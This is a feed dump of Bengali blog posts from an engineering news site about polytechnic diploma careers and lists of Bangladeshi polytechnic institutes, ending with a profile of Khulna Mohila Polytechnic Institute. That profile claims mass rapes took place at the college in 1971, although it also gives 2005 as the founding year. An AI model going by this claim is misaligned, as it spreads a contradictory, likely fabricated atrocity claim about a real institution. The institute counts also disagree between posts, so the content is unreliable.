পলিটেকনিক কোর্স ইঞ্জিনিয়ারিং ক্ষেত্রে শিক্ষার্থীদের কেবলমাত্র মৌলিক এবং ব্যবহারিক জ্ঞান প্রদান করে এবং পলিটেকনিক ডিপ্লোমা শেষ করার পরে পেশাদারদের কাছে যাওয়ার সেরা পছন্দ।

যারা ডিপ্লোমা কোর্স শেষ করেছে তারা কম খরচে ইঞ্জিনিয়ারিং কোর্সে যেতে পারে এবং পড়াশোনা করতে পারে।

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং ক্যারিয়ার

যাদের শীঘ্রই ডিপ্লোমা শেষ হতে যাচ্ছে কিংবা সর্বশেষ সেমিস্টারের রেজাল্টের অপেক্ষায় আছে তাদের করণীয় নিয়েই আজকের আলোচনা। চাকরি, উচ্চশিক্ষা নাকি আত্ম-কর্মসংস্থান কোনটি সামনের ভবিষৎ-এর জন্য সঠিক হবে ডিপ্লোমা সম্পন্নের দ্বারপ্রান্তে এসে সবারই এই চিন্তা থাকে।

তবে প্রথমেই এই ধারনার পরিবর্তন ঘটাতে হবে যে, আপনার পলিটেকনিকে ডিপ্লোমা কোর্স শেষ হওয়ার পরে আপনার জন্য অপেক্ষা করছে দুর্দান্ত ক্যারিয়ারের প্রচুর সম্ভাবনা। শিক্ষার্থীরা পলিটেকনিক ডিপ্লোমা কোর্স বেছে নেওয়ার সবচেয়ে বড় কারণ হল এটি তুলনামুলক কম ব্যয়ে এবং তুলনামূলকভাবে কম সময়ের মধ্যে ক্যারিয়ারের প্রবেশের সুযোগ করে দেয়।

পলিটেকনিক ডিপ্লোমা কোর্সে ভর্তি হওয়ার প্রধান কারন হল- ডিপ্লোমা শিক্ষার্থীদের কোর্স সম্পন্ন হওয়ার পর পরই বিভিন্ন পেশায় প্রবেশ করার চমৎকার সুযোগ থাকে। যেসব শিক্ষার্থীদের আর্থিক সমস্যা আছে বা কর্মজীবন তাড়াতাড়ি শুরু করতে চায়, তাদের জন্য পলিটেকনিক অনেকগুলি ক্যারিয়ার বিকল্প নিয়ে আসে যেগুলো যথেষ্ঠ আকর্ষনীয়। ডিপ্লোমা কোর্স শেষে তারা সরকারি সেক্টরে যোগ দিতে, বেসরকারি সংস্থার চাকরি নিতে পারে বা এমনকি নিজের ব্যবসা শুরু করতে এবং আত্ম-কর্মসংস্থান করতে পারে।

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং বিএসসি বা উচ্চশিক্ষা

আজকাল ডিপ্লোমা ইঞ্জিনিয়ারিং- এর পর উচ্চ শিক্ষার জন্য অনেকেই দেশের বাইরে যাচ্ছেন। যদিও আমাদের দেশে বর্তমানে বেশ কিছু সরকারি বেসরকারি প্রতিষ্ঠানে ডিপ্লোমা শিক্ষার্থীদের উচ্চশিক্ষার সুযোগ আছে, কিন্তু বাইরে থেকে অধ্যয়ন করে আসা ইঞ্জিনিয়ারদের অভিজ্ঞতা ও দক্ষতা হয় অন্য লেভেলের। উন্নত দেশগুলোতে প্রযুক্তি আমাদের চেয়ে অনেক এগিয়ে, সেখানে উচ্চশিক্ষা নিলে আমাদের শিক্ষার্থীদের টেকনিক্যাল, কমিউনিকেশন এবং সার্বিক দক্ষতা এবং অভিজ্ঞতা অনেক বৃদ্ধি পায়। চাকরির সিভিতে এই অর্জনটি তাকে আর দশজন প্রার্থী থেকে আলাদা স্থান এনে দেয়। এসব কারনে আজকাল অনেক তরুণ বিদেশে ইঞ্জিনিয়ারিং উচ্চশিক্ষার জন্য আগ্রহী হয়ে থাকে।

ন্যূনতম যোগ্যতা হিসেবে পলিটেকনিক বা ডিপ্লোমা কোর্সের সুবিধা

বর্তমান প্রেক্ষাপটে দশম বা দ্বাদশ শ্রেণীর স্নাতকদের পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স করা খুবই সাধারণ। ডিপ্লোমা একটি স্বল্পমেয়াদী কোর্স যা ব্যবহারিক প্রশিক্ষণ ভিত্তিক। শিক্ষার্থীরা দশম বা দ্বাদশ শ্রেণির পরে পলিটেকনিকের জন্য বেছে নিতে পারে যা তাদের পেশাগত যোগ্যতা যোগ করে।

  • ইলেকট্রিক্যাল ইঞ্জিনিয়ারিং ফিল্ডে ডিপ্লোমা করার পর বেশ কিছু সুবিধা।
  • ইঞ্জিনিয়ারিং ডিপ্লোমা দশম বা দ্বাদশ পরে ভালো।
  • প্রার্থীর ইঞ্জিনিয়ারিং ডিপ্লোমা সার্টিফিকেট আছে।
  • প্রার্থীর B.Tech এ ভর্তির সুযোগ আছে। সরাসরি দ্বিতীয় বছরে।
  • ইঞ্জিনিয়ারিংয়ে ডিপ্লোমা করার পর বিভিন্ন চাকরির অফার।
  • প্রার্থীকে জুনিয়র ইঞ্জিনিয়ার হিসেবে প্রস্তাব করা হবে এবং অনেক সরকারি ও বেসরকারি চাকরির আবেদন করতে পারবে।
  • ইলেকট্রিক্যাল ইঞ্জিনিয়ারিংয়ে ডিপ্লোমার পরে ভারত এবং বিদেশে বিভিন্ন অফার।

ডিপ্লোমা কোর্স তত্ত্বের চেয়ে বেশি ব্যবহারিক এবং এটি শিক্ষার্থীদের জুনিয়র ইঞ্জিনিয়ার হতে সাহায্য করে। শিক্ষার্থীদের শিল্প কাজের জন্য তাদের যোগ্যতা এবং দক্ষতা প্রমাণ করার জন্য এটি বেশ উপযুক্ত। ডিপ্লোমা প্রত্যেকের জন্য খুব দরকারী। এই কোর্স আমি খরচ এবং সময় সাশ্রয় এই ক্ষেত্রে প্রসারিত সুবিধা।

  • ডিপ্লোমা আপনাকে কাজের জন্য প্রস্তুত করে
  •  ছাত্রদের নিয়োগের সম্ভাবনা বেশি
  • ডিপ্লোমা খরচের একটি ভগ্নাংশে আসে
  • দশমীর পর সেরা পলিটেকনিক কোর্স

পলিটেকনিক ইন্সটিটিউটের সংখ্যা

বর্তমানে ৪৯টি সরকারী পলিটেকনিক ইন্সটিটিউট রয়েছে।এর মধ্যে পুরোনো ইন্সটিটিউটের সংখ্যা ২০টি, যেগুলো পুরোপুরি সরকারি। নতুন রাজস্বভুক্ত ইন্সটিটিউটের সংখ্যা পাঁচটি, মনোটেকনিক ইন্সটিটিউট তিনটি, প্রকল্পভুক্ত ১৮টি ও মহিলা পলিটেকনিক ইন্সটিটিউটের সংখ্যা তিনটি।

বেসরকারী পলিটেকনিকের সংখ্যা ৩৮৭টি

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার ,উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা  appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/polytechnic/3064/feed/ 0
বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh https://theengineersnews.com/polytechnic/2735/ https://theengineersnews.com/polytechnic/2735/#respond Mon, 22 Nov 2021 16:45:18 +0000 https://theengineersnews.com/?p=2735 বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh পলিটেকনিক ইন্সটিটিউট একটি কারিগরি শিক্ষা প্রতিষ্ঠান, যেখানে প্রাতিষ্ঠানিক শিক্ষার পাশাপাশি বাস্তব ও কর্মমুখী শিক্ষার প্রয়োগ ঘটে। এটি বাংলাদেশ কারিগরি শিক্ষা বোর্ড এর অধীনে পরিচালিত হয়। বাংলাদেশে ৪৯ টি সরকারি পলিটেকনিক ইনস্টিটিউট রয়েছে। এর মধ্যে পুরোনো ইন্সটিটিউটের সংখ্যা ২০ টি, যেগুলো পুরোপুরি সরকারি। নতুন …

The post বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh appeared first on theengineersnews.com.

]]>
বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh পলিটেকনিক ইন্সটিটিউট একটি কারিগরি শিক্ষা প্রতিষ্ঠান, যেখানে প্রাতিষ্ঠানিক শিক্ষার পাশাপাশি বাস্তব ও কর্মমুখী শিক্ষার প্রয়োগ ঘটে। এটি বাংলাদেশ কারিগরি শিক্ষা বোর্ড এর অধীনে পরিচালিত হয়। বাংলাদেশে ৪৯ টি সরকারি পলিটেকনিক ইনস্টিটিউট রয়েছে। এর মধ্যে পুরোনো ইন্সটিটিউটের সংখ্যা ২০ টি, যেগুলো পুরোপুরি সরকারি। নতুন রাজস্বভুক্ত ইন্সটিটিউটের সংখ্যা ৫ টি, মনোটেকনিক ইন্সটিটিউট ৪টি, প্রকল্পভুক্ত ১৮ টি ও মহিলা পলিটেকনিক ইন্সটিটিউটের সংখ্যা ৪টি। এছাড়াও ৬৪টি “টেকনিক্যাল স্কুল ও কলেজ” তথ্য সংশোধনে ফিরোজ আহমাদ ফাহিম পুরকৌশল প্রকৌশলী । এগুলো বাংলাদেশের বিভিন্ন জেলায় এবং বিভাগে অবস্থিত ।

 

বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh

বাংলাদেশ কারিগরি শিক্ষা বোর্ডের অধীনে পরিচালিত শিক্ষাক্রমগুলো হলো ডিপ্লোমা ইন ইঞ্জিনিয়ারিং, ডিপ্লোমা ইন টেক্সটাইল ইঞ্জিনিয়ারিং, ডিপ্লোমা ইন এগ্রিকালচার, ডিপ্লোমা ইন ফরেস্ট্রি, ডিপ্লোমা ইন মেরিন টেকনোলজি, ডিপ্লোমা ইন হেল্থ টেকনোলজি, এইচএসসি (ব্যবসায় ব্যবস্থাপনা), এইচএসসি (ভোকেশনাল) ও এসএসসি (ভোকেশনাল)। বোর্ড এর অধীনে চার বছর মেয়াদী শিক্ষাক্রম পরিচালিত হয়। নিচে  (উইকিপিডিয়া) এর তালিকা অনুযায়ী সেরা দশটি পলিটেকনিক ইনস্টিটিউটের নাম এবং অবস্থান সহ বিস্তারিত দেওয়া  হল :

পলিটেকনিকের নাম  অবস্থান প্রতিষ্ঠান বিস্তারিত
১। ঢাকা পলিটেকনিক ইন্সটিটিউট । Dhaka Polytechnic institute (DPI) তেজগাঁও শিল্প এলাকা, ঢাকা বিস্তারিত
২। চট্টগ্রাম পলিটেকনিক ইন্সটিটিউট। Chittagong Polytechnic Institute নাসিরাবাদ ,চট্টগ্রাম বিস্তারিত
৩। কুমিল্লা পলিটেকনিক ইনস্টিটিউট । Comilla Polytechnic Institute কোটবাড়ি ,কুমিল্লা বিস্তারিত
৪। বরিশাল পলিটেকনিক ইনস্টিটিউট । Barisal Polytechnic Institute আলেকান্দা ,বরিশাল বিস্তারিত
৫। সিলেট পলিটেকনিক ইনস্টিটিউট । Sylhet Polytechnic Institute (SPI) টেকনিক্যাল রোড, বরইকান্দি সিলেট বিস্তারিত
৬। পাবনা পলিটেকনিক ইন্সটিটিউট। Pabna Polytechnic Institute গাংকোলা ,পাবনা বিস্তারিত
৭। বগুড়া পলিটেকনিক ইনস্টিটিউট। Bogra Polytechnic Institute শেরপুর রোড, বগুড়া বিস্তারিত
৮। রংপুর পলিটেকনিক ইনস্টিটিউট । Rangpur Polytechnic Institute জুম্মাপাড়া রং,পুর বিস্তারিত
৯। বাংলাদেশ সুইডেন পলিটেকনিক ইনস্টিটিউট । Bangladesh Sweden Polytechnic Institute রাঙ্গামাটি, রাঙ্গামাটি বিস্তারিত
১০। রাজশাহী পলিটেকনিক ইনস্টিটিউট । Raj Shahi Polytechnic Institute সপুরা, রাজশাহী বিস্তারিত

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/polytechnic/2735/feed/ 0
বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List https://theengineersnews.com/polytechnic/2725/ https://theengineersnews.com/polytechnic/2725/#respond Sun, 21 Nov 2021 16:51:51 +0000 https://theengineersnews.com/?p=2725 বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List. বাংলাদেশের প্রায় সকল জেলায় সরকারী পলিটেকনিক আছে। পলিটেকনিক ইন্সটিটিউট একটি কারিগরি শিক্ষা প্রতিষ্ঠান, যেখানে প্রাতিষ্ঠানিক শিক্ষার পাশাপাশি বাস্তব ও কর্মমুখী শিক্ষার প্রয়োগ ঘটে। পলিটেকনিক ইন্সটিটিউট বাংলাদেশ কারিগরি শিক্ষা বোর্ড এর অধীনে পরিচালিত হয়। বাংলাদেশ কারিগরি শিক্ষা বোর্ডের অধীনে পরিচালিত শিক্ষাক্রমগুলো হলো ডিপ্লোমা ইন ইঞ্জিনিয়ারিং, ডিপ্লোমা ইন …

The post বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List appeared first on theengineersnews.com.

]]>
বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List. বাংলাদেশের প্রায় সকল জেলায় সরকারী পলিটেকনিক আছে। পলিটেকনিক ইন্সটিটিউট একটি কারিগরি শিক্ষা প্রতিষ্ঠান, যেখানে প্রাতিষ্ঠানিক শিক্ষার পাশাপাশি বাস্তব ও কর্মমুখী শিক্ষার প্রয়োগ ঘটে। পলিটেকনিক ইন্সটিটিউট বাংলাদেশ কারিগরি শিক্ষা বোর্ড এর অধীনে পরিচালিত হয়। বাংলাদেশ কারিগরি শিক্ষা বোর্ডের অধীনে পরিচালিত শিক্ষাক্রমগুলো হলো ডিপ্লোমা ইন ইঞ্জিনিয়ারিং, ডিপ্লোমা ইন টেক্সটাইল ইঞ্জিনিয়ারিং, ডিপ্লোমা ইন এগ্রিকালচার, ডিপ্লোমা ইন ফরেস্ট্রি, ডিপ্লোমা ইন মেরিন টেকনোলজি, ডিপ্লোমা ইন হেল্থ টেকনোলজি, এইচএসসি (ব্যবসায় ব্যবস্থাপনা), এইচএসসি (ভোকেশনাল) ও এসএসসি (ভোকেশনাল)। কারিগরি শিক্ষা বোর্ড এর অধীনে চার বছর মেয়াদী শিক্ষাক্রম পরিচালিত হয়।

 

বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List

বাংলাদেশের সর্বমোট ৪৯ টি সরকারি পলিটেকনিক আছে। পলিটেকনিক ইনস্টিটিউট গুলো বিভিন্ন জেলা শহরে অবস্থিত। নিচে সকল সরকারি পলিটেকনিক ইনস্টিটিউটের নাম এবং সকল সরকারি পলিটেকনিক ইনস্টিটিউটের অবস্থান সহ বিস্তারিত আলোচনা করা হলো।

পলিটেকনিকের নাম 

অবস্থান

প্রতিষ্ঠান বিস্তারিত

১। ঢাকা পলিটেকনিক ইন্সটিটিউট । Dhaka Polytechnic institute (DPI) তেজগাঁও শিল্প এলাকা, ঢাকা

বিস্তারিত

২। চট্টগ্রাম পলিটেকনিক ইন্সটিটিউট। Chittagong Polytechnic Institute নাসিরাবাদ ,চট্টগ্রাম বিস্তারিত
৩। কুমিল্লা পলিটেকনিক ইনস্টিটিউট । Comilla Polytechnic Institute কোটবাড়ি ,কুমিল্লা বিস্তারিত
৪। বরিশাল পলিটেকনিক ইনস্টিটিউট । Barisal Polytechnic Institute আলেকান্দা ,বরিশাল বিস্তারিত
৫। সিলেট পলিটেকনিক ইনস্টিটিউট । Sylhet Polytechnic Institute (SPI) টেকনিক্যাল রোড, বরইকান্দি সিলেট বিস্তারিত
৬। পাবনা পলিটেকনিক ইন্সটিটিউট। Pabna Polytechnic Institute গাংকোলা ,পাবনা বিস্তারিত
৭। বগুড়া পলিটেকনিক ইনস্টিটিউট। Bogra Polytechnic Institute শেরপুর রোড, বগুড়া বিস্তারিত
৮। রংপুর পলিটেকনিক ইনস্টিটিউট । Rangpur Polytechnic Institute জুম্মাপাড়া রং,পুর বিস্তারিত
৯। বাংলাদেশ সুইডেন পলিটেকনিক ইনস্টিটিউট । Bangladesh Sweden Polytechnic Institute রাঙ্গামাটি, রাঙ্গামাটি বিস্তারিত
১০। রাজশাহী পলিটেকনিক ইনস্টিটিউট । Raj Shahi Polytechnic Institute সপুরা, রাজশাহী বিস্তারিত
১১। ফরিদপুর পলিটেকনিক ইনস্টিটিউট । Farid pure Polytechnic Institute বায়তুল আমান ,ফরিদপুর বিস্তারিত
১২। খুলনা পলিটেকনিক ইনস্টিটিউট। Khulna Polytechnic Institute খালিশপুর ,খুলনা বিস্তারিত
১৩। ময়মনসিংহ পলিটেকনিক ইনস্টিটিউট । Mymensingh Polytechnic Institute চড়পাড়া ,ময়মনসিংহ বিস্তারিত
১৪। দিনাজপুর পলিটেকনিক ইনস্টিটিউট । Dinajpur Polytechnic Institute বালুবাড়ী ,দিনাজপুর বিস্তারিত
১৫। ফেনী পলিটেকনিক ইনস্টিটিউট । Feni Polytechnic Institute হাসপাতাল রোড ,ফেনী বিস্তারিত
১৬। যশোর পলিটেকনিক ইন্সটিটিউট । Jessore Polytechnic Institute শেখহাটি গ্রাম, যশোর বিস্তারিত
১৭। কুষ্টিয়া পলিটেকনিক ইন্সটিটিউট । Kushtia Polytechnic Institute কুষ্টিয়া সদর ,কুষ্টিয়া বিস্তারিত
১৮। ঢাকা মহিলা পলিটেকনিক ইনস্টিটিউট । Dhaka Mohila Polytechnic Institute(DMPI) শের-এ-বাংলা নগর, আগারগাঁও ঢাকা বিস্তারিত
১৯। পটুয়াখালী পলিটেকনিক ইনস্টিটিউট । Patuakhali Polytechnic Institute পটুয়াখালী সদর, পটুয়াখালী বিস্তারিত
২০। টাঙ্গাইল পলিটেকনিক ইনস্টিটিউট । Tangail Polytechnic Institute দেওলা, টাংগাইল টাংগাইল বিস্তারিত
২১। গ্রাফিক আর্টস ইন্সটিটিউট । Graphic Arts Institute সাত মসজিদ রোড, মোহাম্মদপুর, ঢাকা বিস্তারিত
২২। বাংলাদেশ ইনস্টিটিউট অব গ্লাস এন্ড সিরামিকস। Bangladesh Institute of Glass and Ceramics উদ্দীন আহমেদ সরনী, তেজগাঁও শিল্পএলাকা , ঢাকা – ১২০৮ ঢাকা বিস্তারিত
২৩। বাংলাদেশ সার্ভে ইনস্টিটিউট । Bangladesh Survey Institute রাম্মালা, কুমিল্লা বিস্তারিত
২৪। চট্টগ্রাম মহিলা পলিটেকনিক ইনস্টিটিউট । Chittagong Mohila Polytechnic Institute উওর হালিশহর , চট্টগ্রাম বিস্তারিত
২৫। ফেনী কম্পিউটার ইনস্টিটিউট । Feni Computer Institute(FCI) নতুন রানীরহাট , ফেনী বিস্তারিত
২৬। কুড়িগ্রাম পলিটেকনিক ইনস্টিটিউট । Kurigram Polytechnic Institute সদর , কুড়িগ্রাম বিস্তারিত
২৭। নওগাঁ পলিটেকনিক ইনস্টিটিউট। Naogaon Polytechnic Institute সদর ,নওগাঁ বিস্তারিত
২৮। ঠাকুরগাঁও পলিটেকনিক ইনস্টিটিউট । Thakurgaon Polytechnic Institute সদর , ঠাকুরগাঁও বিস্তারিত
২৯। সাতক্ষীরা পলিটেকনিক ইনস্টিটিউট । Satkhira Polytechnic Institute লাবসা ,সাতক্ষীরা বিস্তারিত
৩০। ঝিনাইদহ পলিটেকনিক ইনস্টিটিউট । Jhenaidah Polytechnic Institute সদর , ঝিনাইদহ বিস্তারিত
৩১। সিরাজগঞ্জ পলিটেকনিক ইনস্টিটিউট। Sirajganj Polytechnic Institute ফকিরতলা , সিরাজগঞ্জ বিস্তারিত
৩২। ভোলা পলিটেকনিক ইনস্টিটিউট । Bhola Polytechnic Institute ভোলা , বরিশাল বিস্তারিত
৩৩। বরগুনা পলিটেকনিক ইনস্টিটিউট । Barguna Polytechnic Institute ঢলুয়া , বরগুনা বিস্তারিত
৩৪। নরসিংদী পলিটেকনিক ইনস্টিটিউট । Narsingdi Polytechnic Institute নরসিংদী সদর , নরসিংদী বিস্তারিত
৩৫। মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute ইটখোলা বাজার , মাগুরা বিস্তারিত
৩৬। খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute খালিশপুর , খুলনা বিস্তারিত
৩৭। রাজশাহী মহিলা পলিটেকনিক ইনস্টিটিউট । Raj Shahi Mohila Polytechnic Institute নাওদাপাড়া বাইপাস রোড় , রাজশাহী বিস্তারিত
৩৮। চাঁদপুর পলিটেকনিক ইনস্টিটিউট । Chandpur Polytechnic Institute কালিয়াপাড়া-কচুয়া রোড়, চাঁদপুর বিস্তারিত
৩৯। শরীয়তপুর পলিটেকনিক ইনস্টিটিউট। Shariatpur Polytechnic Institute বুড়িরহাট ,শরীয়তপুর বিস্তারিত
৪০। ব্রাহ্মণবাড়িয়া পলিটেকনিক ইনস্টিটিউট । Brahmanbaria Polytechnic Institute ইসলামপুর , ব্রাহ্মনবাড়ীয়া বিস্তারিত
৪১। হবিগঞ্জ পলিটেকনিক ইনস্টিটিউট। Habiganj Polytechnic Institute গোপায়া হবিগঞ্জ বিস্তারিত
৪২। শেরপুর পলিটেকনিক ইনস্টিটিউট । Sherpur Polytechnic Institute ভাতশালা , শেরপুর বিস্তারিত
৪৩। কক্সবাজার পলিটেকনিক ইনস্টিটিউট । Cox’s Bazar Polytechnic Institute দক্ষিণ মুহুরী পাড়া , কক্সবাজার বিস্তারিত
৪৪। গোপালগঞ্জ পলিটেকনিক ইনস্টিটিউট । Gopalganj Polytechnic Institute চন্দ্রদিঘলিয়া , গোপালগঞ্জ বিস্তারিত
৪৫। লক্ষীপুর পলিটেকনিক ইনস্টিটিউট । Laxmipur Polytechnic Institute বাইশমারা , লক্ষীপুর বিস্তারিত
৪৬। মুন্সিগঞ্জ পলিটেকনিক ইনস্টিটিউট । Munshiganj Polytechnic Institute মিরকাদিম , মুন্সিগঞ্জ বিস্তারিত
৪৭। চাঁপাইনবাবগঞ্জ পলিটেকনিক ইনস্টিটিউট । Chapai nawabganj Polytechnic Institute বারঘরিয়া বাজার, চাঁপাইনবাবগঞ্জ বিস্তারিত
৪৮। কিশোরগঞ্জ পলিটেকনিক ইনস্টিটিউট । Kishoreganj Polytechnic Institute করিমগঞ্জ , কিশোরগঞ্জ বিস্তারিত
৪৯। মৌলভীবাজার পলিটেকনিক ইনস্টিটিউট । Moulvibazar Polytechnic Institute শমসের নগর রোড, মাথারকাপন মৌলভীবাজার বিস্তারিত

 

 

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/polytechnic/2725/feed/ 0
খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute https://theengineersnews.com/polytechnic/2676/ https://theengineersnews.com/polytechnic/2676/#respond Fri, 19 Nov 2021 13:04:42 +0000 https://theengineersnews.com/?p=2676 খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute ,বাংলাদেশের অন্যতম  সমৃদ্ধ পলিটেকনিক প্রতিষ্ঠান। এটি একটি সরকারি পলিটেকনিক ইন্সটিটিউট। প্রতিষ্ঠানটির প্রিন্সিপল হিসেবে দায়িত্বে আছেন কাজী নেয়ামূল শাহীন। প্রগতি এবং সেবা – মূলমন্ত্রের এই প্রতিষ্ঠানটিতে বর্তমানে ৫ টি টেকনোলজি তে চার বছর মেয়াদি ডিপ্লোমা ইন ইঞ্জিনিয়ারিং কোর্স চালু আছে। খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila …

The post খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute appeared first on theengineersnews.com.

]]>
খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute ,বাংলাদেশের অন্যতম  সমৃদ্ধ পলিটেকনিক প্রতিষ্ঠান। এটি একটি সরকারি পলিটেকনিক ইন্সটিটিউট। প্রতিষ্ঠানটির প্রিন্সিপল হিসেবে দায়িত্বে আছেন কাজী নেয়ামূল শাহীন। প্রগতি এবং সেবা – মূলমন্ত্রের এই প্রতিষ্ঠানটিতে বর্তমানে ৫ টি টেকনোলজি তে চার বছর মেয়াদি ডিপ্লোমা ইন ইঞ্জিনিয়ারিং কোর্স চালু আছে।

খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute

নীতিবাক্যঃ প্রযুক্তিই প্রগতি
ধরনঃ সরকারি
স্থাপিতঃ ২০০৫
অধ্যক্ষঃ কাজী নেয়ামূল শাহীন
শিক্ষায়তনিক ব্যক্তিবর্গঃ
শিক্ষার্থীঃ
স্নাতকঃ
অবস্থানঃ  খালিসপুর শি/এ, খুলনা সদর
২২.৮৪৭৫৫৫° উত্তর ৮৯.৫৪৫৮৬৫° পূর্ব
শিক্ষাঙ্গনঃ শহুরে
২০ একর (৮.১ হেক্টর)
রঙসমূহঃ সাদা
মাসকটঃ Industrial Building
ওয়েবসাইটঃ www.kmpi.gov.bd

 খুলনা মহিলা পলিটেকনিক ইন্সটিটিউট ইতিহাস

১৯৭১ সালে এই কলেজে অনেক মেয়েকে ধর্ষন করা হয়। তখন থেকে এই কলেজে ছেলেদের প্রবেশ নিষেধ।

 খুলনা মহিলা পলিটেকনিক ইন্সটিটিউট অবস্থান

খালিসপুর শি/এ, খুলনা সদর ।

বিস্তারিত জানতে গুগোল ম্যাপে দেখুন

 খুলনা মহিলা পলিটেকনিক ইনস্টিটিউটের যোগাযোগ ব্যবস্থা

যোগাযোগের ঠিকানা হল-

  • খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট
  • খালিশপুর, খুলনা-৯০০০
  • ইমেইল : kmpi.edu@gmail.com
  • ফোন : ০৪১-২৮৫০০৯২
  • Website : kmpi.gov.bd/যোগাযোগ

আরো দেখুন

চট্টগ্রাম মহিলা পলিটেকনিক ইনস্টিটিউট । Chittagong Mohila Polytechnic Institute

ডিপ্লোমা কোর্সসমূহ এবং আসনসংখ্যা

বর্তমানে প্রতিষ্ঠানটিতে মোট ৫ টি বিষয়ে ডিপ্লোমা কোর্স চালু রয়েছে। এগুলো হল-

  • কম্পিউটার  টেকনোলজি
  • ইলেকট্রনিক্স টেকনোলজি
  • এনভায়রনমেন্টাল টেকনোলজি
  • আর্কিটেকচার এন্ড ইন্টেরিওর ডিজাইন টেকনোলজি
  • সিভিল টেকনোলজি

কোর্সের সময়সীমা

ডিপ্লোমা ইন ইঞ্জিনিয়ার কোর্স চার বছরে হয়ে থাকে।

এছাড়া বিভিন্ন ট্রেড কোর্স ও রয়েছে যেগুলো কারিগরী শিক্ষা বোর্ড থেকে কন্ট্রোল করা হয়। এগুলোকে শর্ট কোর্স ও বলা হয়ে থাকে।

ভর্তি যোগ্যতা

এসএসসি, দাখিল, ভোকেশনাল অথবা সমমানের পরীক্ষায় উত্তীর্ণ শিক্ষার্থীরা খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট মেধা তালিকা অনুসারে ভর্তি হতে পারবে। তবে আবেদনের যোগ্যতার ক্ষেত্রে উক্ত পরীক্ষায় নূন্যতম জিপিএ ৩.৫ পেতে হবে এবং ম্যাথ, ক্যামেস্ট্রি, ফিজিক্স ও ইংরেজিতে কমপক্ষে জিপিএ ৩ থাকতে হবে। প্রতি বছর ভর্তি সংক্রান্ত নীতিমালা পরিবর্তন হয় যা BTEB ওয়েবসাইটে ভর্তির সার্কুলারে বিস্তারিত দেয়া থাকে।

কোটা

এখানে প্রতিটি ডিপার্টমেণ্টে আসন সংখ্যার ২০% মহিলা কোটা, ১৫% ভোকেশনাল এবং ৫% প্রতিবন্ধীদের জন্য সংরক্ষিত। তবে যেহেতু প্রতিষ্ঠানটি কারিগরি শিক্ষা বোর্ডের অধীনে পরিচালিত হয়, তাই এই সংক্রান্ত কোন ধরনের আপডেট সংশ্লিষ্ট ওয়েবসাইটে ভর্তির নীতিমালা সংক্রান্ত নোটিশে পাওয়া যাবে।

আরো দেখুন

ঢাকা মহিলা পলিটেকনিক ইনস্টিটিউট । Dhaka Mohila Polytechnic Institute(DMPI)

শিক্ষা ব্যবস্থা

এখানে শিক্ষাবর্ষ আটটি সেমিস্টার নিয়ে গঠিত। একাডেমিক কোর্স পরিচালিত হয় ক্রেডিট সিস্টেমের উপর ভিত্তি করে।

খরচ

প্রতিষ্ঠানটি সরকারি হওয়ার কারনে অন্য যেকোন প্রতিষ্ঠানের তুলনায় শিক্ষার্থীদের কোর্সের খরচ তুলনামূলক অনেক কম পড়ে।

ক্লাসের সময়সূচী

খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট -এ ডিপ্লোমা কোর্সের ক্লাসগুলো দুই শিফটে হয়।

